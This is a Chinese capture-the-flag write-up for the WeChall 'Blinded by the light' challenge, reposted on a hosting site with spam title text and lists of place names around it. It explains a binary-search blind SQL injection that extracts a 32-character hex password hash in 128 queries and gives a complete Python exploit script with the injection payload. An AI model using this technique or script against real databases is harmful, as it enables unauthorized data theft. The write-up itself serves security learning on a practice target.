中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Writeup Blinded by the light

發布時間:2020-07-09 20:53:21 來源:網絡 閱讀:1002 作者:h2cisco 欄目:安全技術

題目提示:

    1. Your mission is to extract an md5 password hash out of a database.

    需要獲取數據庫中的密碼信息,而密碼是經過MD5加密的。

    2. Your limit for this blind sql injection are 128 queries.

    最多可以注入128次,通過查看源代碼可以看到超過了就會重新生成密碼。

    3. 可以查看部分關鍵源代碼

$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";

    通過源代碼可以看到存在注入漏洞,但是只能進行是或否的判斷。

$hash = GWF_Random::randomKey(32, 'ABCDEF0123456789');

    密碼是隨機生成的32位字符串,為大寫A-F,0-9。


解題:

    通過二叉樹法對32位密碼的每一位進行判斷,四次可以得到一位的值,32*4=128,正好128次注入可以得到密碼,Python腳本如下:

# -*- coding: utf-8 -*- 

import urllib2
import urllib
import cookielib
import string
import re
import Cookie

ml= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'];

# 設置一個cookie處理器
cj = cookielib.CookieJar();
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj));
urllib2.install_opener(opener);

for lindex in range(32):
    xj= 0;
    xvalue= 16;
    for sindex in range(4):
        if xj>0:
            xvalue= xvalue + 16 / (2 ** (sindex + 1));
        else:
            xvalue= xvalue - 16 / (2 ** (sindex + 1));
        # second time do url request, the cookiejar will auto handle the cookie
        loginBaiduUrl = "http://www.wechall.net/challenge/blind_light/index.php";
        strinject = '1\' or ascii(substr(password,%d,1))>%d #' % (lindex+1,ord(ml[xvalue-1]));
        #print strinject;
        para = {
            'injection'  : strinject,
            'inject'  : 'Inject',
            };
        postData = urllib.urlencode(para);
        req = urllib2.Request(loginBaiduUrl, postData);
        req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0');
        req.add_header('Content-Type', 'application/x-www-form-urlencoded');
        req.add_header('Cookie', 'WC=8624571-16186-h8NKQBMCengtEsn4');
        req.add_header('Referer', 'http://www.wechall.net/challenge/blind_light/index.php');
        req.add_header('Connection', 'close');

        resp = urllib2.urlopen(req);
        respInfo = resp.info();

        # 通過正則匹配抓到需要統計的字符串
        content = resp.read()
        check_text = re.findall('(attempt[s\.\!]{1,2})</li>',content,re.S)[0]

        #print check_text

        if check_text=='attempt!':
            xj=0;
        else:
            xj=1;
    if xj==0:
        print ml[xvalue-1];
    else:
        print ml[xvalue];


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

电白县| 慈溪市| 长武县| 遂昌县| 澄迈县| 都江堰市| 璧山县| 綦江县| 郎溪县| 沙河市| 灌阳县| 榆林市| 汝阳县| 城固县| 静宁县| 台前县| 威远县| 扶风县| 喀什市| 芮城县| 四平市| 安吉县| 安阳县| 方城县| 会昌县| 信丰县| 垣曲县| 大同市| 民和| 东海县| 建德市| 涡阳县| 巨鹿县| 大邑县| 栖霞市| 河曲县| 祥云县| 宝丰县| 阿拉尔市| 伊川县| 盐池县|